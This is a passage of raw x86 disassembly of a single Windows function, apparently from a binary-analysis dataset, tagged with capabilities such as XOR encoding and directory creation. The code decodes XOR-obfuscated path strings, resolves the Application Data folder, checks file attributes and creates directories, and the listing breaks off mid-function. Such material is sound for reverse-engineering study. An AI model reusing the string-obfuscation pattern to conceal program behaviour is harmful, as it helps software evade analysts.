Function at 0x413020
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52bbf9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1a0
push esi
push edi
mov dword [ebp - 0xa4], ecx
push 0x104
lea eax, [ebp - 0x1b0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x1b0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xc6c4f1f3
mov dword [ebp - 0x32], 0xf295cddb
xor ecx, ecx
mov dword [ebp - 0x2e], 0xced2cbd2
mov word [ebp - 0x2a], 0xccd4
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xe
jb 0x4130c1
mov dword [0x565524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413100
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00402c40
mov byte [ebp - 4], 1
lea edx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x70], xmm0
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413150
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x70]
call fcn.00402c40
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x1b0]
lea ecx, [ebp - 0x88]
call fcn.00490af0
add esp, 4
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x4131b7
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4131ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41454d
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x413207
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4131fd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41454d
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x74], 0x10
lea esi, [ebp - 0x88]
push 0x5651d0
cmovae esi, dword [ebp - 0x88]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x414552
test esi, esi
je 0x4144ad
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413240
sub ecx, edx
je 0x4144ad
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413279
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x413279
cmp eax, 0x20
je 0x413279
cmp eax, 0x45
je 0x413279
cmp eax, 0x24
jne 0x4144ad
push 0x5651d0
call fcn.00504243
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xc6c4f1f3
add esp, 4
mov word [ebp - 0x2a], 0xcddb
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
xor ecx, ecx
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
nop dword [eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 6
jb 0x4132b0
mov dword [0x565548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4132e2
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 6
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413310
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x414558
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa0]
call fcn.004946d0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x413383
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413379
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145e1
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea esi, [ebp - 0xa0]
push 0x5651d0
cmovae esi, dword [ebp - 0xa0]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x41455d
test esi, esi
je 0x4133f5
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4133b5
sub ecx, edx
je 0x4133f5
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4133e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4133e6
cmp eax, 0x20
je 0x4133e6
cmp eax, 0x45
je 0x4133e6
cmp eax, 0x24
jne 0x4133f5
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x413427
push 0x5651d0
call fcn.00504243
add esp, 4
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae eax, dword [ebp - 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x414471
xorps xmm0, xmm0
mov dword [ebp - 0x32], 0xd6dff9f3
mov dword [ebp - 0x2e], 0xd2d0ccd6
xor ecx, ecx
mov word [ebp - 0x2a], 0xfaf3
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xa
jb 0x413455
mov dword [0x5655e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x32]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413487
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402c40
mov byte [ebp - 4], 9
lea esi, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae esi, dword [ebp - 0x70]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4134b1
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x414563
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x58]
lea ecx, [ebp - 0x50]
call fcn.004946d0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
push 0x5651d0
cmovae esi, dword [ebp - 0x50]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x414568
test esi, esi
je 0x413558
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413517
sub ecx, edx
je 0x413558
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413548
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x413548
cmp eax, 0x20
je 0x413548
cmp eax, 0x45
je 0x413548
cmp eax, 0x24
jne 0x413558
push 0x5651d0
call fcn.00504243
mov byte [ebp - 0x11], 1
jmp 0x413566
push 0x5651d0
call fcn.00504243
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x4135a1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413597
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41456e
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x4135eb
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4135e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41456e
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x413990
xorps xmm0, xmm0
mov dword [ebp - 0x32], 0xd6dff9f3
mov dword [ebp - 0x2e], 0xd2d0ccd6
xor ecx, ecx
mov word [ebp - 0x2a], 0xfaf3
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xa
jb 0x413623
mov dword [0x5655e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x32]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413655
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 0xb
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413680
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x90]
sub eax, edx
cmp eax, ecx
jb 0x414573
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.004946d0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x4136f7
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4136ed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414588
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
push 0x5651d0
cmovae esi, dword [ebp - 0x70]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x414578
test esi, esi
je 0x413760
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413720
sub ecx, edx
je 0x413760
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413751
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x413751
cmp eax, 0x20
je 0x413751
cmp eax, 0x45
je 0x413751
cmp eax, 0x24
jne 0x413760
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x413789
push 0x5651d0
call fcn.00504243
add esp, 4
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x413958
sub esp, 0x18
mov dword [ebp - 0x32], 0xd6dff9f3
lea eax, [ebp - 0x70]
mov dword [ebp - 0x58], esp
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xd2d0ccd6
mov ecx, esp
mov word [ebp - 0x2a], 0xfaf3
push eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xe
xor ecx, ecx
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xa
jb 0x4137d0
mov dword [0x5655e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x32]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413802
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 0xf
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
sub esp, 0x18
mov ecx, esi
mov edi, esp
mov dword [ebp - 0x54], edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413834
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41457e
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
mov ecx, edi
call fcn.004946d0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x10
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x4138c1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4138b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414588
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x11]
add esp, 8
test al, al
je 0x4138d3
mov eax, dword [ebp - 0xa4]
mov byte [eax], 1
jmp 0x413953
cmp dword [ebp - 0x5c], 0x10
lea edx, [ebp - 0x70]
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x70]
mov ecx, edx
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4138f8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x50]
call fcn.00402c40
push ecx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x11
call fcn.0040e110
mov byte [ebp - 4], 0xd
add esp, 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x413953
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413949
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414583
push ecx
push edx
call fcn.00504f31
add esp, 8
mov edi, closesocket
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x413990
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413986
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414588
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xd1defcf3
mov dword [ebp - 0x32], 0xe595d8d2
xor ecx, ecx
mov dword [ebp - 0x2e], 0xdbcbd7c3
mov word [ebp - 0x2a], 0xd9dc
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xe
jb 0x4139c5
mov dword [0x565524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4139f7
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402c40
mov byte [ebp - 4], 0x12
lea esi, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae esi, dword [ebp - 0x70]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413a21
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41458d
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
call fcn.004946d0
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
push 0x5651d0
cmovae esi, dword [ebp - 0x50]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x414592
test esi, esi
je 0x413ac8
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413a87
sub ecx, edx
je 0x413ac8
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413ab8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x413ab8
cmp eax, 0x20
je 0x413ab8
cmp eax, 0x45
je 0x413ab8
cmp eax, 0x24
jne 0x413ac8
push 0x5651d0
call fcn.00504243
mov byte [ebp - 0x11], 1
jmp 0x413ad6
push 0x5651d0
call fcn.00504243
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x12
add esp, 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x413b11
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413b07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414598
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x413b5b
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413b51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414598
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x413f1e
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xd1defcf3
mov dword [ebp - 0x32], 0xe595d8d2
xor ecx, ecx
mov dword [ebp - 0x2e], 0xdbcbd7c3
mov word [ebp - 0x2a], 0xd9dc
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xe
jb 0x413ba0
mov dword [0x565524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413bd2
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 0x14
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413c00
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x90]
sub eax, edx
cmp eax, ecx
jb 0x41459d
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x70]
call fcn.004946d0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x413c77
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413c6d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145b2
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
push 0x5651d0
cmovae esi, dword [ebp - 0x70]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x4145a2
test esi, esi
je 0x413ce0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ca0
sub ecx, edx
je 0x413ce0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413cd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x413cd1
cmp eax, 0x20
je 0x413cd1
cmp eax, 0x45
je 0x413cd1
cmp eax, 0x24
jne 0x413ce0
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x413d09
push 0x5651d0
call fcn.00504243
add esp, 4
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x413ee6
sub esp, 0x18
mov dword [ebp - 0x36], 0xd1defcf3
lea eax, [ebp - 0x70]
mov dword [ebp - 0x54], esp
xorps xmm0, xmm0
mov dword [ebp - 0x32], 0xe595d8d2
mov ecx, esp
mov dword [ebp - 0x2e], 0xdbcbd7c3
push eax
mov word [ebp - 0x2a], 0xd9dc
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0x17
xor ecx, ecx
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xe
jb 0x413d57
mov dword [0x565524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413d90
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 0x18
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
sub esp, 0x18
mov ecx, esi
mov edi, esp
mov dword [ebp - 0x58], edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413dc2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4145a8
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
mov ecx, edi
call fcn.004946d0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x19
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x413e4f
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413e42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145b2
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x11]
add esp, 8
test al, al
je 0x413e61
mov eax, dword [ebp - 0xa4]
mov byte [eax], 1
jmp 0x413ee1
cmp dword [ebp - 0x5c], 0x10
lea edx, [ebp - 0x70]
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x70]
mov ecx, edx
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413e86
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x50]
call fcn.00402c40
push ecx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x1a
call fcn.0040e110
mov byte [ebp - 4], 0x16
add esp, 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x413ee1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413ed7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145ad
push ecx
push edx
call fcn.00504f31
add esp, 8
mov edi, closesocket
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x413f1e
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413f14
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145b2
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552280]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov word [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x12], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x10
jb 0x413f43
mov dword [0x565628], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413f75
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402c40
mov byte [ebp - 4], 0x1b
lea esi, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae esi, dword [ebp - 0x70]
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413fa0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4145b7
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
call fcn.004946d0
mov byte [ebp - 4], 0x1c
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
push 0x5651d0
cmovae esi, dword [ebp - 0x50]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x4145bc
test esi, esi
je 0x414047
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414006
sub ecx, edx
je 0x414047
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x414037
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x414037
cmp eax, 0x20
